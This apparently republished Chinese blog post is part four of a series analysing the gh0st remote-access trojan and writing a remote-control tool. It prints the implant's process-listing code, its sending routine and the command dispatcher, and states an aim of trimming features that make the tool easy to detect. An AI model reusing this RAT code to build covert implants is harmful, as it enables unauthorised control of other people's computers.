日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

gh0st源码分析与远控的编写(四)

發布時間:2024/4/11 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 gh0st源码分析与远控的编写(四) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.


????真的很久很久了,距離上一次寫gh0st的文章(http://www.leavesongs.com/C/gh0st_3.html),過去有大半年了。總算有一個時間,我放下手里所有的活,能夠繼續把這份努力延續下去。

????以后對于gh0st的文章,就是一個一個模塊的分析。原本gh0st就是由很多功能組成的一個強大的遠控,但有些東西并不是功能越強大越好。我們到最后,會做一個gh0st的精簡,留下最重要的功能,淘汰一些龐大而容易暴露的功能。所以,只有我們模塊化了一個軟件之后,我們才能更方便地去刪除或增加一個功能,否則刪除掉某個模塊之后導致整個gh0st運行不了了,得不償失。

? ? 今天帶來的是進程管理模塊,這個模塊文件是SystemManager.cpp。

? ? 我們先來看被控端,一個獲取當前進程列表的模塊。調用的相關api是CreateToolhelp32Snapshot ->?Process32First ->?OpenProcess ->?EnumProcessModules -> GetModuleFileNameEx ->?Process32Next ->?CloseHandle

? ? 首先調用CreateToolhelp32Snapshot 創建當前進程列表的快照,再調用Process32First獲得快照中第一個進程句柄,OpenProcess打開此進程,EnumProcessModules列舉這個進程引用的模塊(第一個模塊就是進程自身,原本這個函數應該返回該進程所有模塊的一個數組,但因為我只需要第一個模塊,所以傳入一個HMODULE型地址即可)。得到他自身的模塊后,GetModuleFileNameEx獲得其完整名稱。此時就算獲取到了進程列表中一個進程信息,再使用Process32Next獲得下一個進程,重復以上步驟。

? ? 最后當Process32Next獲取不到進程后,就算將整個進程列表快照遍歷完了,調用CloseHandle關閉快照句柄即可。

????流程圖如下:

????

? ? 下面就是gh0st中,獲取進程列表的代碼:

01 LPBYTE?CSystemManager::getProcessList()
02 {
03 ????HANDLE??????????hSnapshot = NULL;
04 ????HANDLE??????????hProcess = NULL;
05 ????HMODULE?????????hModules = NULL;
06 ????PROCESSENTRY32? pe32 = {0};
07 ????DWORD???????????cbNeeded;
08 ????char????????????strProcessName[MAX_PATH] = {0};
09 ????LPBYTE??????????lpBuffer = NULL;
10 ????DWORD???????????dwOffset = 0;
11 ????DWORD???????????dwLength = 0;
12 ????DebugPrivilege(SE_DEBUG_NAME, TRUE);?????//提取權限
13 ????//創建系統快照
14 ????hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
15 ?????
16 ????if(hSnapshot == INVALID_HANDLE_VALUE)
17 ????????return?NULL;
18 ?????
19 ????pe32.dwSize =?sizeof(PROCESSENTRY32);
20 ?????
21 ????lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);???????//暫時分配一下緩沖區
22 ?????
23 ????lpBuffer[0] = TOKEN_PSLIST;????????//注意這個是數據頭 一會我們到主控端來搜索這個數據頭
24 ????dwOffset = 1;
25 ?????
26 ????if(Process32First(hSnapshot, &pe32))???????//得到第一個進程順便判斷一下系統快照是否成功
27 ????{????
28 ????????do
29 ????????{?????
30 ????????????//打開進程并返回句柄
31 ????????????hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
32 ????????????if?((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
33 ????????????{
34 ????????????????//枚舉第一個模塊句柄也就是自身
35 ????????????????EnumProcessModules(hProcess, &hModules,?sizeof(hModules), &cbNeeded);
36 ????????????????//得到自身的完整名稱
37 ????????????????GetModuleFileNameEx(hProcess, hModules, strProcessName,?sizeof(strProcessName));
38 ????????????????//開始計算占用的緩沖區, 我們關心他的發送的數據結構
39 ????????????????// 此進程占用數據大小
40 ????????????????dwLength =?sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
41 ????????????????// 緩沖區太小,再重新分配下
42 ????????????????if?(LocalSize(lpBuffer) < (dwOffset + dwLength))
43 ????????????????????lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
44 ?????????????????
45 ????????????????//接下來三個memcpy就是向緩沖區里存放數據 數據結構是 進程ID+進程名+0+進程完整名+0
46 ????????????????//為什么加0 ?因為字符數據是以0 結尾的
47 ????????????????memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID),?sizeof(DWORD));
48 ????????????????dwOffset +=?sizeof(DWORD);?
49 ?????????????????
50 ????????????????memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
51 ????????????????dwOffset += lstrlen(pe32.szExeFile) + 1;
52 ?????????????????
53 ????????????????memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
54 ????????????????dwOffset += lstrlen(strProcessName) + 1;
55 ????????????}
56 ????????}
57 ????????while(Process32Next(hSnapshot, &pe32));??????//繼續得到下一個快照
58 ????}
59 ????//用lpbuffer獲得整個緩沖區
60 ????lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
61 ?????
62 ????DebugPrivilege(SE_DEBUG_NAME, FALSE);??//還原提權
63 ????CloseHandle(hSnapshot);???????//釋放句柄
64 ????return?lpBuffer;????????//這個數據返回后就是發送了 之前講過了,我們可以到主控端去搜索TOKEN_PSLIST了。
65 }

? ? 代碼基本上就跟我的流程圖一樣的過程,用一個do..while循環,遍歷整個進程列表快照。其中調用的EnumProcessModules函數要注意,傳入的第二個參數是一個HMODULE類型指針,而不是MSDN中說的數組。當然也可以理解成只含有一個HMODULE類型變量的數組,因為我只需要第一個模塊信息就行了。

? ? 獲得了可執行文件名、詳細名稱后,gh0st用了一個結構:“進程ID+進程名+0+進程完整名+0”來保存他們。0相當于一個分隔符,將信息分割開。在主控端取進程信息的時候就直接取一個數字,兩個字符串即可,因為字符串就是以0結尾。

? ? 這個函數最前面調用了一個DebugPrivilege,這就是一個簡單的提權函數,在很多地方都用到過,我就不多講了。

? ? 所以,最后getProcessList函數返回的就是一個包含所有進程信息的一個緩沖區,類似這樣"01ieplorer.exe\0IE瀏覽器\002qq.exe\0騰訊QQ\0...."。

? ? SendProcessList調用了這個函數,并把獲得的緩沖區發送給主控端:

01 void?CSystemManager::SendProccessList()
02 {
03 ????UINT????nRet = -1;
04 ????LPBYTE??lpBuffer = getProcessList();??????//得到進程列表的數據,一會轉到? getProcessList定義
05 ????if?(lpBuffer == NULL)
06 ????????return;
07 ?
08 ????Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));???//得到發送得到的進程列表數據
09 ????LocalFree(lpBuffer);
10 }

????這就是被控端上獲取所有進程信息并發送給主控端的一個過程。

? ? 我之前文章里也說過,被控端中每一個模塊類中,都有一個固定的方法,叫OnReceive,這是當主控端發送來的命令,會最終被傳遞給這個方法。這個方法就來根據命令調度需要執行的功能。

? ? 所以,SystemManager類也有這個方法:

01 void?CSystemManager::OnReceive(LPBYTE?lpBuffer,?UINT?nSize)
02 {
03 ????SwitchInputDesktop();
04 ????switch?(lpBuffer[0])
05 ????{
06 ????case?COMMAND_PSLIST:
07 ????????SendProcessList();
08 ????????break;
09 ????case?COMMAND_WSLIST:
10 ????????//SendWindowsList();
11 ????????break;
12 ????case?COMMAND_DIALUPASS:
13 ????????//SendDialupassList();
14 ????????break;
15 ????case?COMMAND_KILLPROCESS:???????//這里是進程管理接收數據的函數了 在這里判斷是那個命令,到KillProcess定義
16 ????????KillProcess((LPBYTE)lpBuffer + 1, nSize - 1);
17 ????default:
18 ????????break;
19 ????}
20 }
? ? lpBuffer[0]就是命令,我們可以看到,如果它的值是COMMAND_PSLIST的話,就會執行SendProcessList,也就是發送所有進程列表,如果是COMMAND_KILLPROCESS,那就就會執行KillProcess,結束某個進程。


? ? 另外還有兩個命令,他們是窗口管理和撥號管理的功能。實際上,這兩個功能并不太需要,可以直接精簡掉。我們暫時將之注釋。

? ? 下次我會說到,主控端界面的一些編寫(主要是tab標簽頁的制作),和接收來自被控端的數據,并顯示到頁面上。最終完成這個進程管理模塊。

總結

以上是生活随笔為你收集整理的gh0st源码分析与远控的编写(四)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。